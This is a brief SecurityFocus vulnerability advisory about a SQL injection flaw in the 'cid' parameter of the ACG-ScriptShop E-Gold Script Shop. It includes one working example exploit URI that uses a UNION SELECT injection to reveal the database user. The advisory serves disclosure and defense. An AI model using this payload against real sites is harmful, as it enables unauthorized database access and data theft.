ACG-ScriptShop E-Gold Script Shop 'cid' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/path/acgshop/index.php?menu=showcat&cid=4+union+select+0,user(),2--


 

Privacy Statement
Copyright 2010, SecurityFocus